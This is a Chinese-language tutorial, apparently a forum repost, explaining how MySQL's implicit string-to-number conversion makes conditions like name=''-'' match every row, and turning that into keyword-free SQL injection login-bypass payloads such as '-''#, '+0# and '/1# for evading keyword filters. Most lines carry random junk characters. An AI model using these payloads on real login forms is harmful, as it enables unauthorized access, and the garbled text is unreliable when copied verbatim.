我们先来看这样一个场景。
: z, O. L3 p& ^9 F有以下表结构:
" T: F S( l3 X- i; {4 G# A2 e, C: `" c$ | H: ?$ D4 q- m
mysql> desc admin;
* D7 e) \) p7 F5 \4 L( C/ G' z+----------+--------------+------+-----+---------+----------------+) Y+ K V8 a; r) _6 ~; b, J
| Field | Type | Null | Key | Default | Extra |
+ g4 y$ P+ o. F7 Q) D) b% C9 T+----------+--------------+------+-----+---------+----------------+1 c4 S& F7 D6 s! S2 L
| id | mediumint(9) | NO | PRI | NULL | auto_increment |5 Y. y) n8 @/ O: `/ R7 ]
| name | char(32) | NO | UNI | NULL | |# S9 ?9 s8 K! j/ e
| password | char(32) | NO | UNI | NULL | |
1 [# ^. i8 \: G' P* ^& F+----------+--------------+------+-----+---------+----------------+/ d9 `+ k* q$ Q9 K: E
3 rows in set (0.00 sec)
- s }$ U, z0 e# ^; p' e$ v执行select * from admin;,成功返回所有记录内容。1 ^; G* W/ y% o& k7 h
2 A# A- L" [ s5 k+ ?; Y @: J2 h4 i8 |' K& f/ {' a1 q1 K) {
+----+--------+----------------------------------+- h$ n' L+ `" z1 s Z2 T9 a
| id | name | password |
9 ^) @5 W) W2 ?# J& G; e0 W+----+--------+----------------------------------+
& u2 ^$ Q8 u4 O* z. S4 P| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
5 r7 } o" f. O r| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ T% G' L( a4 g( I7 R C. c| 4 | n00b | ff80e8508d39047460921792273533a4 |9 I3 G2 Q1 T6 j/ Q
+----+--------+----------------------------------+- a! P4 z) {( y& ?5 ^
3 rows in set (0.00 sec)
' B0 ` C; d" r执行select * from admin where name=”;,没有匹配到任何记录。 2 }, t1 X9 c7 E% A4 F
, s# `+ ?+ K6 _7 |6 m& r nmysql> select * from admin where name = '';
6 ~% L+ C/ J2 j% K/ lEmpty set (0.00 sec)
, q& c. j9 B/ G; i, o那么我们来执行select * from admin where name = ”-”;
# A% c) \4 J# n3 @/ t* v, f) L# M7 s
8 D' p" d" g% D$ I; Z' }1 Q1 |# W% M
+----+--------+----------------------------------+( @4 N1 {1 `5 Y& V" t
| id | name | password |
- x+ [4 H9 |' O8 G( |$ c/ w. p+----+--------+----------------------------------+
' |7 A* m/ q3 h5 g! u- v| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
2 o( U* U" P, P| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ C9 }3 d- N( t' @: r1 b| 4 | n00b | ff80e8508d39047460921792273533a4 |
2 H3 a. W+ C3 @2 R# u+----+--------+----------------------------------+3 c: t+ O1 G0 E, D/ q
3 rows in set, 3 warnings (0.00 sec)
t) W! n8 D G8 k! w可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : c3 W4 u4 S9 E; P6 e# M0 R
0 c# b9 ~. |* M x: amysql> show warnings;
2 G2 C: Y/ P% S; \, m+---------+------+------------------------------------------1 ?' N/ C6 H, h$ W: b0 O
| Level | Code | Message
0 j' D4 h5 @# E( j+---------+------+------------------------------------------3 C0 i0 @/ W, u1 [; e) v' G* Q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
1 }, R. v4 m! J| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s. B O/ v$ E7 Y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b, g; W6 x; F' U D1 _ P
+---------+------+------------------------------------------
3 N9 L9 U1 N( F4 }3 rows in set (0.00 sec)
5 t, ?/ G1 C7 s9 D提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ( k' f) M0 Z5 K1 S' g
; f6 U- U0 R; n4 J6 W4 ]5 W) g% y# pmysql> select ''-'';+ z2 m! w9 P8 U, F8 r
+-------+
: V; J# p" k5 Y" g| ''-'' |
* o$ l @. @+ J `- q+-------+
9 u% L2 z% }* R1 ~; N' V% ^| 0 |
! n3 b0 O# C! o; Q$ m" o+-------+
7 ]+ i- o' f; d& x2 ?$ U1 row in set (0.00 sec)
0 T9 Z0 X8 P" O' v返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 9 \. j; g' n* d! j6 j9 Q9 o
9 ]) q0 A0 T& f- ~7 y" O# O
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
/ L+ J' Z2 e/ T3 W+ O c% @! z" c+-----------------------------------------------------+8 K: A7 ]; w8 B: s
| CAST((select name from admin limit 1,1) as DECIMAL) |
9 ~5 A: a) C; H+-----------------------------------------------------+
* z% L" B5 V3 R' F. c) O| 0 |* W P A i$ X2 H
+-----------------------------------------------------+% m. o& m% e5 C/ J, `' E4 s/ r
1 row in set, 1 warning (0.00 sec)' p4 l% t4 x5 @- ?) V
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 w6 l) | S# k' A3 v- k
/ d: W1 ?, X5 [
SQL注入场景: http://www.sqlzoo.net/hack/ L% p/ b9 Q8 U5 H
( H4 m# _5 [, N" y, B8 u- g
: f9 }! w3 ~6 z+ L& l
; v4 g3 H1 Y [4 R9 |& K7 Q) v! H
2 r8 n/ L, B# l" k9 ~! \' \如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
$ p7 T6 y! I9 h0 [+ y: g/ C% T
: X# q3 L: e) b2 g6 b( k那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
8 e9 E; K( i7 b/ u g
3 _' J: \( f0 X1 H5 d% h- g7 A: E, P" E3 U9 l1 L& J
2 Q) c8 a j1 ~* e1 Z% J
$ M- a% \( W; w* j* l, [
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
9 n- D* U& j/ _8 b6 R7 W+ P$ Y7 f( r m* ~+ o6 P! k# U
/ F5 j1 w5 }. H/ O6 g( K- C7 \. h6 Q: C7 Z
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
( m; B/ }: h1 J1 u0 N" X
3 g. Z6 H- U% Z* t4 H. B5 P- n+ s# E6 r$ ]9 t0 O
mysql> select ''/1;* h8 D% W- a3 `
+------+: j6 i; m# n% n" O1 @$ ]% }
| ''/1 |. A5 Z$ H5 i O6 N! y8 e/ z/ F* _
+------+
. {5 h( j+ m# h: @- K, {" K| 0 |
- z: m0 {: f+ d+------+
, L0 I$ ^# o- n L6 Y1 row in set (0.00 sec)6 k% B t3 x; z% l- R- H: C9 |
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
; I. ~2 U/ i; Z3 N( p- h+ \6 t% E/ ]4 ^
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
+ O9 v% G0 V. V+ M) x) E |
|